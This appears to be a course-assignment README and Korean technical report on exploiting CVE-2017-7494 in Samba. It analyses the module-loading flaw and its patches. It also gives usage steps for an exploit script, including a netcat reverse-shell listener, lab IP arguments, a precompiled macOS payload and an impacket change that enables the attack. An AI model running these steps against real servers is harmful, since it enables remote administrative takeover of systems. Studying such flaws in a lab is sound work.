Net Security 과정의 최종 과제를 위한 CVE-2017-7494 익스플로잇. 이는 Linux에서 관리자 권한으로 실행되는 서비스의 취약점을 드러냅니다.
Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS.
This bug is workable on both macOS and Linux.
Before exploit, you need to download dependencies.
/bin/bash install_requirement.sh
One of the most important dependencies is the impacket package for python. It make smb connection works.
However, in order to construct a valid request that make the samba server load our malicious module, we have to modify the original impacket.
The installation install_requirement.sh installs a modified version (modified by me) so you do not have to worry about that and you are not need to do any manual modification.
However, if you want to use some newer version or another version of impacket, you have to modify that package by yourself.
Goto
impacket/impacket/smb3.pymodify line 11154 and comment following two sentences:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
To exploit target, you need open two terminals. One use netcat to interact with the reverse shell, the other is used to exploit the BUG.
Usage:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
If the target is macOS, you should not to compile the module on Linux! As gcc do not support MACH-O format. If you are a mac user, macOS payload compilation works.
A precompiled version is in the directory. The mac_payload.so.
Use -m flag to make exploit.py know you will use a customized payload.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
A detailed process would be post in Chinese as my final assignment. If you understand Chinese, it would be fine for you. :)
—— CVE2017-7494 공격 보고서
에터널블루(Eternal Blue)는 2017년에 큰 피해를 입혔으며, Windows SMB의 메커니즘을 이용한 웜 공격이었습니다. SMB는 Windows에서 실행되는 서비스로, 서로 다른 호스트 간에 파일을 공유하고 원격 프로시저 호출(Remote Procedure Call, RPC)을 가능하게 합니다. 아마도 이러한 기능의 특성 때문에 해커의 공격 대상이 되는 경우가 많습니다.
운영 체제 커널 자체의 취약점은 Windows의 경우에도 상당히 적은 편입니다. 문제가 되는 것은 일반적으로 운영 체제 위에서 실행되는 다양한 서비스들입니다. 이들은 운영 체제처럼 엄격한 규격과 철저한 테스트를 거친 코드를 갖고 있지 않지만, 높은 권한에서 실행되기 때문에 악용 가능한 기회가 많이 발생합니다. 그렇다면 운영 체제의 하위 구성 요소 자체를 공격하는 대신, 운영 체제에서 높은 권한으로 실행되는 서비스를 공격함으로써 전체 시스템을 장악할 수 있을까요? 운영 체제 단독으로는 커널일 뿐 아무것도 할 수 없으며, 다양한 시스템 서비스를 실행해야만 다양한 기능을 제공할 수 있습니다. 운영 체제에는 관리자 권한으로 실행되어야 하는 많은 서비스(데몬 프로세스)가 있으므로, 이러한 높은 권한의 서비스를 장악하면 자연스럽게 시스템의 관리자 권한을 얻을 수 있고, 결국 운영 체제 전체를 장악할 수 있습니다.
마지막으로, SMB의 오픈소스 구현인 Samba에서 악용 가능한 취약점인 CVE2017-7494를 발견했습니다. Windows와 유사하게, 해커는 Samba의 원격 프로시저 호출을 통해 운영 체제의 관리자 권한을 얻을 수 있으며, 이를 통해 웜 바이러스를 제작하여 네트워크를 공격할 기회를 가질 수 있습니다.
Linux 커널은 오픈소스로 인한 보안성으로 유명하며, macOS는 소수 시스템으로서 이를 대상으로 한 바이러스가 적기 때문에 종종 안전하다는 착각을 불러일으킵니다. 따라서 본 실험에서는 macOS와 여러 다른 Linux 배포판을 공격 대상으로 선정하여, 운영 체제의 취약성을 보여주고자 합니다. 즉, 운영 체제의 설계가 "아무리 안전해 보여도" 작은 응용 프로그램의 취약점 하나로 언제든지 장악될 수 있다는 점을 드러내는 것입니다.
Samba는 SMB와 동등한 서비스이기 때문에 "리눅스 버전 에터널블루"라고도 불리지만, 기술적 관점에서 두 가지는 본질적인 차이가 있습니다.
이번 취약점은 주로 source3\rpc_server\srv_pipe.c의 bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) 함수가 smb_probe_module()을 호출하는 부분에서 발생합니다.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
//여기서 문제 발생
status = smb_probe_module("rpc", pipename);
....
is_known_pipename()의 상위 함수인 np_open()은 제어 모듈로, RPC 서비스 요청을 검사한 후 is_known_pipename()을 호출합니다. is_known_pipename()은 이름 그대로 원격 파이프가 이미 등록되었는지 판단하는 함수이지만, Samba 3.50 이후에 smb_probe_module()을 통해 동적 모듈을 로드하는 새로운 기능이 도입되었습니다. 이 취약점은 바로 이 모듈 로드 기능을 악용하여 악성 모듈을 호출하도록 유도합니다.
rpc pipe 모듈의 로딩은 다음과 같은 호출 체인을 따릅니다:
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
Samba 3.5.0 ~ Samba 4.6.3 버전 사이에서 do_smb_load_module() 함수는 RPC 모듈을 로드하는 smb_probe_module()과 자체 모듈을 로드하는 smb_load_module()에 의해 재사용됩니다. smb_load_module()은 알려진 모듈(예: VFS 모듈)을 로드하는 데 사용되며, Samba 자체 기능 확장을 위한 내부 호출용입니다. 반면 smb_probe_module()은 RPC 요청에서 올 수 있는 가능한 모듈을 로드하기 위한 것입니다.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
이렇게 출처가 다른 두 함수가 재사용되기 때문에(비록 제 생각에는 이 두 모듈이 절대 같은 함수를 재사용해서는 안 된다고 생각하지만), do_smb_load_module()은 "요청을 분석하여 SMB 서브시스템 내에서 모듈을 로드하는 방식"과 "절대 경로를 통해 모듈을 로드하는 방식"을 동시에 구현하게 되었습니다.
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
// 주석의 주석: 만약 전달된 경로가 절대 경로를 제공해서는 안 되는 smb_probe_module()에서 왔음에도 불구하고
// smb_probe_module()이 절대 경로를 제공한다면, 이 검사는 무용지물이 됩니다. 이것이 이번 취약점의 원리입니다.
if (subsystem && module_name[0] != '/')
{
// 원래는 서브시스템으로 들어가 SMB 서브시스템 -> 절대 경로 변환을 수행해야 함
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
// 그러나 우리가 만든 절대 경로를 직접 로드하게 되어 여기를 통과함
init = load_module(module_name, is_probe, &handle);
// 이렇게 함으로써 init이 "존재하지 않는 pipe의 모듈"이 절대 경로에서 온 모듈을 사용하게 됨
}
// 여기서 악성 코드 호출로 바로 진입
status = init();
...
do_smb_load_module()은 상위 함수가 전달한 경로가 smb_load_module에서 왔는지 smb_probe_module에서 왔는지 알 수 없기 때문에, 가짜 요청을 구성할 가능성이 생깁니다. 즉, 원래 "서브시스템 내부에서 로드되어야 할 모듈"이 "절대 경로의 모듈 로드"로 바뀌게 됩니다. 그리고 이 절대 경로의 모듈이 우리가 미리 정의한 악성 모듈이라면, 취약점 악용에 성공하게 됩니다.
운 좋게도 Samba는 파일 전송을 지원하는 프로토콜이므로, 악성 모듈을 쉽게 업로드할 수 있습니다. 동시에 DCE 요청은 절대 경로를 묻는 것도 지원합니다. 이 두 가지 요소 덕분에 do_smb_load_module()을 쉽게 악용하여 절대 경로의 악성 모듈을 로드하도록 할 수 있습니다.
악용 원리는 다음 그림과 같습니다:
이후 버전에서 Samba는 이 취약점을 수정했으며, 주로 RPC 요청으로 전달되는 파이프 이름에 대한 검사를 강화했습니다.
첫 번째 패치는 is_known_pipename()에서 이루어졌으며, strchr을 사용하여 pipe 이름에 /가 있는지 검사합니다. /가 있으면 Linux 경로를 로드하라는 의미이므로, 이는 금지되어야 합니다.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
// 이 줄을 추가하여 절대 경로의 모듈을 요청하는 것을 방지
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
두 번째 패치는 smb_probe_module()에서 이루어졌습니다(git 기록에 따르면 4.70에서 추가됨). 이전의 단순한 do_smb_load_module() 호출과 달리, 더 세분화된 규칙이 추가되었습니다.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
// 두 번째 절대 경로 검사
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
또 다른 방어선이 추가되었습니다. 또한 모듈을 로드하는 함수도 더 세분화되어, 기존의 smb_probe_module()과 smb_load_module()이 smb_probe_module(), smb_load_module(), smb_probe_module_absolute_path()로 분할되어 악성 모듈 경로에 대한 검사가 강화되었습니다.
이번 실험의 Linux 타깃은 서로 다른 Linux 배포판인 Ubuntu와 Alpine Linux를 사용하여 실험을 진행합니다. Docker를 이용해 Samba 버전이 4.6.3 이전, 3.5.0 이후인 Samba 서버를 구축합니다. Samba는 데몬 프로세스 smbd로 실행됩니다.
Alpine Linux는 최근 "경량"과 "보안"으로 주목받는 Linux입니다. 현재 흔한 Linux와 달리 glibc 대신 musl libc를 C 언어 실행 환경으로 사용하며, 특별한 buzybox를 명령줄 도구로 사용합니다. 일반적으로 재컴파일이나 코드 수정 없이는 일반 Linux 소프트웨어가 Alpine Linux에서 실행되지 않습니다. 따라서 "GNU 라이브러리를 사용하는 Linux에 대한 공격이 Alpine Linux에는 통하지 않을 것이다"라는 생각을 하기 쉽습니다.
또한 이번 실험에서는 macOS에 대한 공격도 수행했습니다. macOS는 적극적인 보안 조치가 없지만, 이를 대상으로 한 공격이 적기 때문에 주류 의견이 "macOS에는 바이러스가 없다"고 생각하기 쉬운 또 다른 시스템입니다.